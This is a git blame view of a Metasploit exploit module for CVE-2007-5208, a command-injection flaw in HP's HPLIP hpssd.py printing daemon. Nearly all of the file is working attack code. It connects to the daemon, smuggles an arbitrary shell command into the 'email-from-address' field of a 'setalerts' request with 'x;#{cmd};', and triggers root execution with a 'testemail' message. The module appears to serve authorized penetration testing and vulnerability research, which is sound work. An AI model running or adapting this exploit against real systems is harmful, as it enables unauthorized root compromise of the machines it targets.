Files
metasploit-gs/modules/exploits/linux/misc/hplip_hpssd_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

97 lines
3.0 KiB
Ruby
Raw Normal View History

2010-02-15 22:38:50 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-02-15 22:38:50 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2010-02-15 22:38:50 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2010-10-09 06:55:52 +00:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
2010-02-15 22:38:50 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'HPLIP hpssd.py From Address Arbitrary Command Execution',
'Description' => %q{
2010-02-15 22:38:50 +00:00
This module exploits a command execution vulnerable in the hpssd.py
2025-06-20 13:20:44 +01:00
daemon of the Hewlett-Packard Linux Imaging and Printing Project.
According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable.
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
This module was written and tested using the Fedora 6 Linux distribution.
On the test system, the daemon listens on localhost only and runs with
root privileges. Although the configuration shows the daemon is to
listen on port 2207, it actually listens on a dynamic port.
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
NOTE: If the target system does not have a 'sendmail' command installed,
this vulnerability cannot be exploited.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'References' => [
2010-02-15 22:38:50 +00:00
[ 'CVE', '2007-5208' ],
[ 'OSVDB', '41693' ],
2010-02-15 22:38:50 +00:00
[ 'BID', '26054' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=319921' ],
[ 'URL', 'https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit' ]
],
2025-06-20 13:20:44 +01:00
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
'Space' => 1024,
2010-02-15 22:38:50 +00:00
'DisableNops' => true,
2025-06-20 13:20:44 +01:00
'Compat' =>
{
'PayloadType' => 'cmd',
# *_perl and *_ruby work if they are installed
# inetd isn't used on FC6/7 (xinetd is)
# netcat doesn't have -e by default
}
2010-02-15 22:38:50 +00:00
},
2025-06-20 13:20:44 +01:00
'Targets' => [
[ 'Automatic (hplip-1.6.7-4.i386.rpm)', {} ]
2010-02-15 22:38:50 +00:00
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'DisclosureDate' => '2007-10-04',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-08-30 16:28:54 -05:00
2010-02-15 22:38:50 +00:00
register_options(
[
Opt::RPORT(2207),
2025-06-20 13:20:44 +01:00
]
)
2010-02-15 22:38:50 +00:00
end
2013-08-30 16:28:54 -05:00
2010-02-15 22:38:50 +00:00
def exploit
connect
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# cmd = "nohup " + payload.encoded
2010-02-16 00:27:45 +00:00
cmd = payload.encoded
2013-08-30 16:28:54 -05:00
2010-02-15 22:38:50 +00:00
username = 'root'
toaddr = 'nosuchuser'
2013-08-30 16:28:54 -05:00
2010-02-15 22:38:50 +00:00
# first setalerts
print_status("Sending 'setalerts' request with encoded command line...")
msg = "username=#{username}\n" +
2025-06-20 13:20:44 +01:00
"email-alerts=1\n" +
# "email-from-address=`#{cmd}`\n" +
"email-from-address=x;#{cmd};\n" +
"email-to-addresses=#{toaddr}\n" +
"msg=setalerts\n"
2010-02-15 22:38:50 +00:00
sock.put(msg)
2013-08-30 16:28:54 -05:00
2010-02-15 22:38:50 +00:00
# next, the test email command
print_status("Sending 'testemail' request to trigger execution...")
msg = "msg=testemail\n"
sock.put(msg)
end
end